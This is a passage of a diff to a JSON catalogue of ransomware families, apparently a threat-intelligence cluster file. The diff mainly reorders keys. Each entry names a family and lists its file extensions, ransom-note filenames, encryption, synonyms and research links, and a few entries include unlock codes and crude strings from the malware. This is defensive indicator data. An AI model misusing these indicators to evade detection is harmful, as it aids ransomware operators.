- "uuid": "ec461b8a-5390-4304-9d2a-a20c7ed6a9db"
+ "uuid": "ec461b8a-5390-4304-9d2a-a20c7ed6a9db",
+ "value": "Gopher"
},
{
- "value": "Hacked",
"description": "Ransomware Jigsaw Ransomware variant",
"meta": {
"extensions": [
@@ -6309,10 +6313,10 @@
"https://twitter.com/demonslay335/status/806878803507101696"
]
},
- "uuid": "7f2df0cd-5962-4687-90a2-a49eab2b12bc"
+ "uuid": "7f2df0cd-5962-4687-90a2-a49eab2b12bc",
+ "value": "Hacked"
},
{
- "value": "HappyDayzz",
"description": "Ransomware",
"meta": {
"encryption": "3DES, AES-128, AES-192, AES-256, DES, RC2, RC4",
@@ -6320,10 +6324,10 @@
"https://twitter.com/malwrhunterteam/status/847114064224497666"
]
},
- "uuid": "e71c76f3-8274-4ec5-ac11-ac8b8286d069"
+ "uuid": "e71c76f3-8274-4ec5-ac11-ac8b8286d069",
+ "value": "HappyDayzz"
},
{
- "value": "Harasom",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6333,25 +6337,25 @@
"https://decrypter.emsisoft.com/"
]
},
- "uuid": "5cadd11c-002a-4062-bafd-aadb7d740f59"
+ "uuid": "5cadd11c-002a-4062-bafd-aadb7d740f59",
+ "value": "Harasom"
},
{
- "value": "HDDCryptor",
"description": "Ransomware Uses https://diskcryptor.net for full disk encryption",
"meta": {
- "synonyms": [
- "Mamba"
- ],
"encryption": "Custom (net shares), XTS-AES (disk)",
"refs": [
"https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho",
"blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/"
+ ],
+ "synonyms": [
+ "Mamba"
]
},
- "uuid": "95be4cd8-1d98-484f-a328-a5917a05e3c8"
+ "uuid": "95be4cd8-1d98-484f-a328-a5917a05e3c8",
+ "value": "HDDCryptor"
},
{
- "value": "Heimdall",
"description": "Ransomware File marker: \"Heimdall---\"",
"meta": {
"encryption": "AES-128-CBC",
@@ -6359,10 +6363,10 @@
"https://www.bleepingcomputer.com/news/security/heimdall-open-source-php-ransomware-targets-web-servers/"
]
},
- "uuid": "c6d6ddf0-2afa-4cca-8982-ba2a7c0441ae"
+ "uuid": "c6d6ddf0-2afa-4cca-8982-ba2a7c0441ae",
+ "value": "Heimdall"
},
{
- "value": "Help_dcfile",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6372,38 +6376,38 @@
"help_dcfile.txt"
]
},
- "uuid": "2fdc6daa-6b6b-41b9-9a25-1030101478c3"
+ "uuid": "2fdc6daa-6b6b-41b9-9a25-1030101478c3",
+ "value": "Help_dcfile"
},
{
- "value": "Herbst",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".herbst"
],
- "encryption": "AES-256",
"refs": [
"https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware"
]
},
- "uuid": "6489895b-0213-4564-9cfc-777df58d84c9"
+ "uuid": "6489895b-0213-4564-9cfc-777df58d84c9",
+ "value": "Herbst"
},
{
- "value": "Hi Buddy!",
"description": "Ransomware Based on HiddenTear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".cry"
],
- "encryption": "AES-256",
"refs": [
"http://www.nyxbone.com/malware/hibuddy.html"
]
},
- "uuid": "a0d6563d-1e98-4e49-9151-39fbeb09ef76"
+ "uuid": "a0d6563d-1e98-4e49-9151-39fbeb09ef76",
+ "value": "Hi Buddy!"
},
{
- "value": "Hitler",
"description": "Ransomware Deletes files",
"meta": {
"extensions": [
@@ -6414,34 +6418,34 @@
"https://twitter.com/jiriatvirlab/status/825310545800740864"
]
},
- "uuid": "8807752b-bd26-45a7-ba34-c8ddd8e5781d"
+ "uuid": "8807752b-bd26-45a7-ba34-c8ddd8e5781d",
+ "value": "Hitler"
},
{
- "value": "HolyCrypt",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
"(encrypted)"
],
- "encryption": "AES",
"refs": [
"http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/"
]
},
- "uuid": "c71819a4-f6ce-4265-b0cd-24a98d84321c"
+ "uuid": "c71819a4-f6ce-4265-b0cd-24a98d84321c",
+ "value": "HolyCrypt"
},
{
- "value": "HTCryptor",
"description": "Ransomware Includes a feature to disable the victim's windows firewall Modified in-dev HiddenTear",
"meta": {
"refs": [
"https://twitter.com/BleepinComputer/status/803288396814839808"
]
},
- "uuid": "728aecfc-9b99-478f-a0a3-8c0fb6896353"
+ "uuid": "728aecfc-9b99-478f-a0a3-8c0fb6896353",
+ "value": "HTCryptor"
},
{
- "value": "HydraCrypt",
"description": "Ransomware CrypBoss Family",
"meta": {
"extensions": [
@@ -6455,10 +6459,10 @@
"http://www.malware-traffic-analysis.net/2016/02/03/index2.html"
]
},
- "uuid": "335c3ab6-8f2c-458c-92a3-2f3a09a6064c"
+ "uuid": "335c3ab6-8f2c-458c-92a3-2f3a09a6064c",
+ "value": "HydraCrypt"
},
{
- "value": "iLock",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6468,20 +6472,20 @@
"https://twitter.com/BleepinComputer/status/817085367144873985"
]
},
- "uuid": "68e90fa4-ea66-4159-b454-5f48fdae3d89"
+ "uuid": "68e90fa4-ea66-4159-b454-5f48fdae3d89",
+ "value": "iLock"
},
{
- "value": "iLockLight",
"description": "Ransomware",
"meta": {
"extensions": [
".crime"
]
},
- "uuid": "cb374ee8-76c0-4db8-9026-a57a51d9a0a1"
+ "uuid": "cb374ee8-76c0-4db8-9026-a57a51d9a0a1",
+ "value": "iLockLight"
},
{
- "value": "International Police Association",
"description": "Ransomware CryptoTorLocker2015 variant",
"meta": {
"extensions": [
@@ -6494,10 +6498,10 @@
"http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe"
]
},
- "uuid": "a66fbb1e-ba59-48c1-aac8-8678b4a98dc1"
+ "uuid": "a66fbb1e-ba59-48c1-aac8-8678b4a98dc1",
+ "value": "International Police Association"
},
{
- "value": "iRansom",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6507,10 +6511,10 @@
"https://twitter.com/demonslay335/status/796134264744083460"
]
},
- "uuid": "4514ecd4-850d-446f-82cb-0668d2c94ffa"
+ "uuid": "4514ecd4-850d-446f-82cb-0668d2c94ffa",
+ "value": "iRansom"
},
{
- "value": "JagerDecryptor",
"description": "Ransomware Prepends filenames",
"meta": {
"extensions": [
@@ -6523,16 +6527,12 @@
"https://twitter.com/JakubKroustek/status/757873976047697920"
]
},
- "uuid": "25a086aa-e25c-4190-a848-69d9f46fd8ab"
+ "uuid": "25a086aa-e25c-4190-a848-69d9f46fd8ab",
+ "value": "JagerDecryptor"
},
{
- "value": "Jeiphoos",
"description": "Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.",
"meta": {
- "synonyms": [
- "Encryptor RaaS",
- "Sarento"
- ],
"encryption": "RC6 (files), RSA 2048 (RC6 key)",
"ransomnotes": [
"readme_liesmich_encryptor_raas.txt"
@@ -6540,12 +6540,16 @@
"refs": [
"http://www.nyxbone.com/malware/RaaS.html",
"http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/"
+ ],
+ "synonyms": [
+ "Encryptor RaaS",
+ "Sarento"
]
},
- "uuid": "50014fe7-5efd-4639-82ef-30d36f4d2918"
+ "uuid": "50014fe7-5efd-4639-82ef-30d36f4d2918",
+ "value": "Jeiphoos"
},
{
- "value": "Jhon Woddy",
"description": "Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH",
"meta": {
"extensions": [
@@ -6556,15 +6560,13 @@
"https://twitter.com/BleepinComputer/status/822509105487245317"
]
},
- "uuid": "fedd7285-d4bd-4411-985e-087954cee96d"
+ "uuid": "fedd7285-d4bd-4411-985e-087954cee96d",
+ "value": "Jhon Woddy"
},
{
- "value": "Jigsaw",
"description": "Ransomware Has a GUI",
"meta": {
- "synonyms": [
- "CryptoHitMan"
- ],
+ "encryption": "AES-256",
"extensions": [
".btc",
".kkk",
@@ -6586,24 +6588,26 @@
".nemo-hacks.at.sigaint.org",
".LolSec"
],
- "encryption": "AES-256",
"refs": [
"http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-decrypted-will-delete-your-files-until-you-pay-the-ransom/",
"https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/",
"https://twitter.com/demonslay335/status/795819556166139905"
+ ],
+ "synonyms": [
+ "CryptoHitMan"
]
},
- "uuid": "1e3384ae-4b48-4c96-b7c2-bc1cc1eda203"
+ "uuid": "1e3384ae-4b48-4c96-b7c2-bc1cc1eda203",
+ "value": "Jigsaw"
},
{
- "value": "Job Crypter",
"description": "Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC",
"meta": {
+ "encryption": "TripleDES",
"extensions": [
".locked",
".css"
],
- "encryption": "TripleDES",
"ransomnotes": [
"Comment débloquer mes fichiers.txt",
"Readme.txt"
@@ -6614,15 +6618,15 @@
"https://twitter.com/malwrhunterteam/status/828914052973858816"
]
},
- "uuid": "7c9a273b-1534-4a13-b201-b7a782b6c32a"
+ "uuid": "7c9a273b-1534-4a13-b201-b7a782b6c32a",
+ "value": "Job Crypter"
},
{
- "value": "JohnyCryptor",
"description": "Ransomware",
- "uuid": "5af5be3e-549f-4485-8c2e-1459d4e5c7d7"
+ "uuid": "5af5be3e-549f-4485-8c2e-1459d4e5c7d7",
+ "value": "JohnyCryptor"
},
{
- "value": "KawaiiLocker",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -6632,25 +6636,25 @@
"https://safezone.cc/resources/kawaii-decryptor.195/"
]
},
- "uuid": "b6d0ea4d-4e55-4b42-9d60-485d605d6c49"
+ "uuid": "b6d0ea4d-4e55-4b42-9d60-485d605d6c49",
+ "value": "KawaiiLocker"
},
{
- "value": "KeRanger",
"description": "Ransomware OS X Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".encrypted"
],
- "encryption": "AES",
"refs": [
"http://news.drweb.com/show/?i=9877&lng=en&c=5",
"http://www.welivesecurity.com/2016/03/07/new-mac-ransomware-appears-keranger-spread-via-transmission-app/"
]
},
- "uuid": "63292b32-9867-4fb2-9e59-d4983d4fd5d1"
+ "uuid": "63292b32-9867-4fb2-9e59-d4983d4fd5d1",
+ "value": "KeRanger"
},
{
- "value": "KeyBTC",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6665,10 +6669,10 @@
"https://decrypter.emsisoft.com/"
]
},
- "uuid": "3964e617-dde5-4c95-b4a0-e7c19c6e7d7f"
+ "uuid": "3964e617-dde5-4c95-b4a0-e7c19c6e7d7f",
+ "value": "KeyBTC"
},
{
- "value": "KEYHolder",
"description": "Ransomware via remote attacker. tuyuljahat@hotmail.com contact address",
"meta": {
"ransomnotes": [
@@ -6679,10 +6683,10 @@
"http://www.bleepingcomputer.com/forums/t/559463/keyholder-ransomware-support-and-help-topic-how-decryptgifhow-decrypthtml"
]
},
- "uuid": "66eda328-9408-4e98-ad27-572fd6b2acd8"
+ "uuid": "66eda328-9408-4e98-ad27-572fd6b2acd8",
+ "value": "KEYHolder"
},
{
- "value": "KillerLocker",
"description": "Ransomware Possibly Portuguese dev",
"meta": {
"extensions": [
@@ -6692,32 +6696,32 @@
"https://twitter.com/malwrhunterteam/status/782232299840634881"
]
},
- "uuid": "ea8e7350-f243-4ef7-bc31-4648df8a4d96"
+ "uuid": "ea8e7350-f243-4ef7-bc31-4648df8a4d96",
+ "value": "KillerLocker"
},
{
- "value": "KimcilWare",
"description": "Ransomware websites only",
"meta": {
+ "encryption": "AES",
"extensions": [
".kimcilware",
".locked"
],
- "encryption": "AES",
"refs": [
"https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it",
"http://www.bleepingcomputer.com/news/security/the-kimcilware-ransomware-targets-web-sites-running-the-magento-platform/"
]
},
- "uuid": "950e2514-8a7e-4fdb-a3ad-5679f6342e5d"
+ "uuid": "950e2514-8a7e-4fdb-a3ad-5679f6342e5d",
+ "value": "KimcilWare"
},
{
- "value": "Korean",
"description": "Ransomware Based on HiddenTear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".암호화됨"
],
- "encryption": "AES-256",
"ransomnotes": [
"ReadMe.txt"
],
@@ -6725,32 +6729,32 @@
"http://www.nyxbone.com/malware/koreanRansom.html"
]
},
- "uuid": "4febffe0-3837-41d7-b95f-e26d126275e4"
+ "uuid": "4febffe0-3837-41d7-b95f-e26d126275e4",
+ "value": "Korean"
},
{
- "value": "Kozy.Jozy",
"description": "Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com",
"meta": {
- "synonyms": [
- "QC"
- ],
+ "encryption": "RSA-2048",
"extensions": [
".31392E30362E32303136_[ID-KEY]_LSBJ1",
".([0-9A-Z]{20})_([0-9]{2})_([A-Z0-9]{4,5})"
],
- "encryption": "RSA-2048",
"ransomnotes": [
"w.jpg"
],
"refs": [
"http://www.nyxbone.com/malware/KozyJozy.html",
"http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-lsbj1/"
+ ],
+ "synonyms": [
+ "QC"
]
},
- "uuid": "47b5d261-11bd-4c7b-91f9-e5651578026a"
+ "uuid": "47b5d261-11bd-4c7b-91f9-e5651578026a",
+ "value": "Kozy.Jozy"
},
{
- "value": "KratosCrypt",
"description": "Ransomware kratosdimetrici@gmail.com",
"meta": {
"extensions": [
@@ -6763,10 +6767,10 @@
"https://twitter.com/demonslay335/status/746090483722686465"
]
},
- "uuid": "cc819741-830b-4859-bb7c-ccedf3356acd"
+ "uuid": "cc819741-830b-4859-bb7c-ccedf3356acd",
+ "value": "KratosCrypt"
},
{
- "value": "KryptoLocker",
"description": "Ransomware Based on HiddenTear",
"meta": {
"encryption": "AES-256",
@@ -6774,10 +6778,10 @@
"KryptoLocker_README.txt"
]
},
- "uuid": "e68d4f37-704a-4f8e-9718-b12039fbe424"
+ "uuid": "e68d4f37-704a-4f8e-9718-b12039fbe424",
+ "value": "KryptoLocker"
},
{
- "value": "LanRan",
"description": "Ransomware Variant of open-source MyLittleRansomware",
"meta": {
"ransomnotes": [
@@ -6787,10 +6791,10 @@
"https://twitter.com/struppigel/status/847689644854595584"
]
},
- "uuid": "9e152871-fb16-475d-bf3b-f3b870d0237a"
+ "uuid": "9e152871-fb16-475d-bf3b-f3b870d0237a",
+ "value": "LanRan"
},
{
- "value": "LeChiffre",
"description": "Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker",
"meta": {
"extensions": [
@@ -6804,10 +6808,10 @@
"https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/"
]
},
- "uuid": "ea1ba874-07e6-4a6d-82f0-e4ce4210e34e"
+ "uuid": "ea1ba874-07e6-4a6d-82f0-e4ce4210e34e",
+ "value": "LeChiffre"
},
{
- "value": "Lick",
"description": "Ransomware Variant of Kirk",
"meta": {
"extensions": [
@@ -6820,40 +6824,40 @@
"https://twitter.com/JakubKroustek/status/842404866614038529"
]
},
- "uuid": "f2e76070-0cea-4c9c-8d6b-1d847e777575"
+ "uuid": "f2e76070-0cea-4c9c-8d6b-1d847e777575",
+ "value": "Lick"
},
{
- "value": "Linux.Encoder",
"description": "Ransomware Linux Ransomware",
"meta": {
- "synonyms": [
- "Linux.Encoder.{0,3}"
- ],
"refs": [
"https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/"
+ ],
+ "synonyms": [
+ "Linux.Encoder.{0,3}"
]
},
- "uuid": "b4992483-a693-4e73-b39e-0f45c9f645b5"
+ "uuid": "b4992483-a693-4e73-b39e-0f45c9f645b5",
+ "value": "Linux.Encoder"
},
{
- "value": "LK Encryption",
"description": "Ransomware Based on HiddenTear",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/845183290873044994"
]
},
- "uuid": "af52badb-3211-42b0-a1ac-e4d35d5829d7"
+ "uuid": "af52badb-3211-42b0-a1ac-e4d35d5829d7",
+ "value": "LK Encryption"
},
{
- "value": "LLTP Locker",
"description": "Ransomware Targeting Spanish speaking victims",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".ENCRYPTED_BY_LLTP",
".ENCRYPTED_BY_LLTPp"
],
- "encryption": "AES-256",
"ransomnotes": [
"LEAME.txt"
],
@@ -6861,26 +6865,26 @@
"https://www.bleepingcomputer.com/news/security/new-lltp-ransomware-appears-to-be-a-rewritten-venus-locker/"
]
},
- "uuid": "0cec6928-80c7-4085-ba47-cdc52177dfd3"
+ "uuid": "0cec6928-80c7-4085-ba47-cdc52177dfd3",
+ "value": "LLTP Locker"
},
{
- "value": "Locker",
"description": "Ransomware has GUI",
"meta": {
"refs": [
"http://www.bleepingcomputer.com/forums/t/577246/locker-ransomware-support-and-help-topic/page-32#entry3721545"
]
},
- "uuid": "abc7883c-244a-44ac-9c86-559dafa4eb63"
+ "uuid": "abc7883c-244a-44ac-9c86-559dafa4eb63",
+ "value": "Locker"
},
{
- "value": "LockLock",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locklock"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_ME.TXT"
],
@@ -6888,12 +6892,13 @@
"https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/"
]
},
- "uuid": "7850bf92-394b-443b-8830-12f9ddbb50dc"
+ "uuid": "7850bf92-394b-443b-8830-12f9ddbb50dc",
+ "value": "LockLock"
},
{
- "value": "Locky",
"description": "Ransomware Affiliations with Dridex and Necurs botnets",
"meta": {
+ "encryption": "AES-128",
"extensions": [
".locky",
".zepto",
@@ -6913,7 +6918,6 @@
"([A-F0-9]{32}).osiris",
".lukitus"
],
- "encryption": "AES-128",
"ransomnotes": [
"_Locky_recover_instructions.txt",
"_Locky_recover_instructions.bmp",
@@ -6934,71 +6938,71 @@
"https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-egyptian-mythology-with-the-osiris-extension/"
]
},
- "uuid": "8d51a22e-3485-4480-af96-8ed0305a7aa6"
+ "uuid": "8d51a22e-3485-4480-af96-8ed0305a7aa6",
+ "value": "Locky"
},
{
- "value": "Lortok",
"description": "Ransomware",
"meta": {
"extensions": [
".crime"
]
},
- "uuid": "bc23872a-7cd3-4a66-9d25-6b4e6f90cc4e"
+ "uuid": "bc23872a-7cd3-4a66-9d25-6b4e6f90cc4e",
+ "value": "Lortok"
},
{
- "value": "LowLevel04",
"description": "Ransomware Prepends filenames",
"meta": {
"extensions": [
"oor."
]
},
- "uuid": "d4fb0463-6cd1-45ac-a7d2-6eea8be39590"
+ "uuid": "d4fb0463-6cd1-45ac-a7d2-6eea8be39590",
+ "value": "LowLevel04"
},
{
- "value": "M4N1F3STO",
"description": "Ransomware Does not encrypt Unlock code=suckmydicknigga",
"meta": {
"refs": [
"https://twitter.com/jiriatvirlab/status/808015275367002113"
]
},
- "uuid": "f5d19af8-1c85-408b-818e-db50208d62b1"
+ "uuid": "f5d19af8-1c85-408b-818e-db50208d62b1",
+ "value": "M4N1F3STO"
},
{
- "value": "Mabouia",
"description": "Ransomware OS X ransomware (PoC)",
- "uuid": "f9214319-6ad4-4c4e-bc6d-fb710f61da48"
+ "uuid": "f9214319-6ad4-4c4e-bc6d-fb710f61da48",
+ "value": "Mabouia"
},
{
- "value": "MacAndChess",
"description": "Ransomware Based on HiddenTear",
- "uuid": "fae8bf6e-47d1-4449-a1c6-761a4970fc38"
+ "uuid": "fae8bf6e-47d1-4449-a1c6-761a4970fc38",
+ "value": "MacAndChess"
},
{
- "value": "Magic",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".magic"
],
- "encryption": "AES-256",
"ransomnotes": [
"DECRYPT_ReadMe1.TXT",
"DECRYPT_ReadMe.TXT"
]
},
- "uuid": "31fa83fc-8247-4347-940a-e463acd66bac"
+ "uuid": "31fa83fc-8247-4347-940a-e463acd66bac",
+ "value": "Magic"
},
{
- "value": "MaktubLocker",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256 + RSA-2048",
"extensions": [
"[a-z]{4,6}"
],
- "encryption": "AES-256 + RSA-2048",
"ransomnotes": [
"_DECRYPT_INFO_[extension pattern].html"
],
@@ -7006,10 +7010,10 @@
"https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/"
]
},
- "uuid": "ef6ceb04-243e-4783-b476-8e8e9f06e8a7"
+ "uuid": "ef6ceb04-243e-4783-b476-8e8e9f06e8a7",
+ "value": "MaktubLocker"
},
{
- "value": "MarsJoke",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7025,20 +7029,20 @@
"https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker"
]
},
- "uuid": "933bd53f-5ccf-4262-a70c-c01a6f05af3e"
+ "uuid": "933bd53f-5ccf-4262-a70c-c01a6f05af3e",
+ "value": "MarsJoke"
},
{
- "value": "Meister",
"description": "Ransomware Targeting French victims",
"meta": {
"refs": [
"https://twitter.com/siri_urz/status/840913419024945152"
]
},
- "uuid": "ce5a82ef-d2a3-405c-ac08-3dca71057eb5"
+ "uuid": "ce5a82ef-d2a3-405c-ac08-3dca71057eb5",
+ "value": "Meister"
},
{
- "value": "Meteoritan",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -7049,50 +7053,47 @@
"https://twitter.com/malwrhunterteam/status/844614889620561924"
]
},
- "uuid": "34f292d9-cb68-4bcf-a3db-a717362aca77"
+ "uuid": "34f292d9-cb68-4bcf-a3db-a717362aca77",
+ "value": "Meteoritan"
},
{
- "value": "MIRCOP",
"description": "Ransomware Prepends files Demands 48.48 BTC",
"meta": {
- "synonyms": [
- "Crypt888"
- ],
+ "encryption": "AES",
"extensions": [
"Lock."
],
- "encryption": "AES",
"refs": [
"http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/",
"https://www.avast.com/ransomware-decryption-tools#!",
"http://blog.trendmicro.com/trendlabs-security-intelligence/instruction-less-ransomware-mircop-channels-guy-fawkes/",
"http://www.nyxbone.com/malware/Mircop.html"
+ ],
+ "synonyms": [
+ "Crypt888"
]
},
- "uuid": "7dd326a5-1168-4309-98b1-f2146d9cf8c7"
+ "uuid": "7dd326a5-1168-4309-98b1-f2146d9cf8c7",
+ "value": "MIRCOP"
},
{
- "value": "MireWare",
"description": "Ransomware Based on HiddenTear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".fucked",
".fuck"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_IT.txt"
]
},
- "uuid": "9f01ded7-99f6-4863-b3a3-9d32aabf96c3"
+ "uuid": "9f01ded7-99f6-4863-b3a3-9d32aabf96c3",
+ "value": "MireWare"
},
{
- "value": "Mischa",
"description": "Ransomware Packaged with Petya PDFBewerbungsmappe.exe",
"meta": {
- "synonyms": [
- "\"Petya's little brother\""
- ],
"extensions": [
".([a-zA-Z0-9]{4})"
],
@@ -7102,38 +7103,37 @@
],
"refs": [
"http://www.bleepingcomputer.com/news/security/petya-is-back-and-with-a-friend-named-mischa-ransomware/"
+ ],
+ "synonyms": [
+ "\"Petya's little brother\""
]
},
- "uuid": "a029df89-2bb1-409d-878b-a67572217a65"
+ "uuid": "a029df89-2bb1-409d-878b-a67572217a65",
+ "value": "Mischa"
},
{
- "value": "MM Locker",
"description": "Ransomware Based on EDA2",
"meta": {
- "synonyms": [
- "Booyah"
- ],
+ "encryption": "AES-256",
"extensions": [
".locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"READ_IT.txt"
],
"refs": [
"https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered"
+ ],
+ "synonyms": [
+ "Booyah"
]
},
- "uuid": "b95aa3fb-9f32-450e-8058-67d94f196913"
+ "uuid": "b95aa3fb-9f32-450e-8058-67d94f196913",
+ "value": "MM Locker"
},
{
- "value": "Mobef",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Yakes",
- "CryptoBit"
- ],
"extensions": [
".KEYZ",
".KEYH0LES"
@@ -7146,22 +7146,26 @@
"http://nyxbone.com/malware/Mobef.html",
"http://researchcenter.paloaltonetworks.com/2016/07/unit42-cryptobit-another-ransomware-family-gets-an-update/",
"http://nyxbone.com/images/articulos/malware/mobef/0.png"
+ ],
+ "synonyms": [
+ "Yakes",
+ "CryptoBit"
]
},
- "uuid": "681f212a-af1b-4e40-a718-81b0dc46dc52"
+ "uuid": "681f212a-af1b-4e40-a718-81b0dc46dc52",
+ "value": "Mobef"
},
{
- "value": "Monument",
"description": "Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/844826339186135040"
]
},
- "uuid": "2702fb96-8118-4519-bd75-23eed40f25e9"
+ "uuid": "2702fb96-8118-4519-bd75-23eed40f25e9",
+ "value": "Monument"
},
{
- "value": "N-Splitter",
"description": "Ransomware Russian Koolova Variant",
"meta": {
"extensions": [
@@ -7172,10 +7176,10 @@
"https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q"
]
},
- "uuid": "8ec55495-fb31-49c7-a720-40250b5e085f"
+ "uuid": "8ec55495-fb31-49c7-a720-40250b5e085f",
+ "value": "N-Splitter"
},
{
- "value": "n1n1n1",
"description": "Ransomware Filemaker: \"333333333333\"",
"meta": {
"ransomnotes": [
@@ -7186,10 +7190,10 @@
"https://twitter.com/demonslay335/status/831891344897482754"
]
},
- "uuid": "a439b37b-e123-4b1d-9400-94aca70b223a"
+ "uuid": "a439b37b-e123-4b1d-9400-94aca70b223a",
+ "value": "n1n1n1"
},
{
- "value": "NanoLocker",
"description": "Ransomware no extension change, has a GUI",
"meta": {
"encryption": "AES-256 + RSA",
@@ -7200,16 +7204,16 @@
"http://github.com/Cyberclues/nanolocker-decryptor"
]
},
- "uuid": "03a91686-c607-49a8-a4e2-2054833c0013"
+ "uuid": "03a91686-c607-49a8-a4e2-2054833c0013",
+ "value": "NanoLocker"
},
{
- "value": "Nemucod",
"description": "Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes",
"meta": {
+ "encryption": "XOR(255) + 7zip",
"extensions": [
".crypted"
],
- "encryption": "XOR(255) + 7zip",
"ransomnotes": [
"Decrypted.txt"
],
@@ -7220,26 +7224,26 @@
"https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/"
]
},
- "uuid": "f1ee9ae8-b798-4e6f-8f98-874395d0fa18"
+ "uuid": "f1ee9ae8-b798-4e6f-8f98-874395d0fa18",
+ "value": "Nemucod"
},
{
- "value": "Netix",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "RANSOM_NETIX.A"
- ],
"extensions": [
"AES-256"
],
"refs": [
"http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/"
+ ],
+ "synonyms": [
+ "RANSOM_NETIX.A"
]
},
- "uuid": "5d3ec71e-9e0f-498a-aa33-0433799e80b4"
+ "uuid": "5d3ec71e-9e0f-498a-aa33-0433799e80b4",
+ "value": "Netix"
},
{
- "value": "Nhtnwcuf",
"description": "Ransomware Does not encrypt the files / Files are destroyed",
"meta": {
"ransomnotes": [
@@ -7250,33 +7254,33 @@
"https://twitter.com/demonslay335/status/839221457360195589"
]
},
- "uuid": "1d8e8ca3-da2a-494c-9db3-5b1b6277c363"
+ "uuid": "1d8e8ca3-da2a-494c-9db3-5b1b6277c363",
+ "value": "Nhtnwcuf"
},
{
- "value": "NMoreira",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "XRatTeam",
- "XPan"
- ],
+ "encryption": "mix of RSA and AES-256",
"extensions": [
".maktub",
".__AiraCropEncrypted!"
],
- "encryption": "mix of RSA and AES-256",
"ransomnotes": [
"Recupere seus arquivos. Leia-me!.txt"
],
"refs": [
"https://decrypter.emsisoft.com/nmoreira",
"https://twitter.com/fwosar/status/803682662481174528"
+ ],
+ "synonyms": [
+ "XRatTeam",
+ "XPan"
]
},
- "uuid": "51f00a39-f4b9-4ed2-ba0d-258c6bf3f71a"
+ "uuid": "51f00a39-f4b9-4ed2-ba0d-258c6bf3f71a",
+ "value": "NMoreira"
},
{
- "value": "NoobCrypt",
"description": "Ransomware",
"meta": {
"refs": [
@@ -7284,25 +7288,25 @@
"https://www.bleepingcomputer.com/news/security/noobcrypt-ransomware-dev-shows-noobness-by-using-same-password-for-everyone/"
]
},
- "uuid": "aeb76911-ed45-4bf2-9a60-e023386e02a4"
+ "uuid": "aeb76911-ed45-4bf2-9a60-e023386e02a4",
+ "value": "NoobCrypt"
},
{
- "value": "Nuke",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".nuclear55"
],
- "encryption": "AES",
"ransomnotes": [
"!!_RECOVERY_instructions_!!.html",
"!!_RECOVERY_instructions_!!.txt"
]
},
- "uuid": "e0bcb7d2-6032-43a0-b490-c07430d8a598"
+ "uuid": "e0bcb7d2-6032-43a0-b490-c07430d8a598",
+ "value": "Nuke"
},
{
- "value": "Nullbyte",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -7313,17 +7317,17 @@
"https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/"
]
},
- "uuid": "460b700b-5d03-43f9-99e7-916ff180a036"
+ "uuid": "460b700b-5d03-43f9-99e7-916ff180a036",
+ "value": "Nullbyte"
},
{
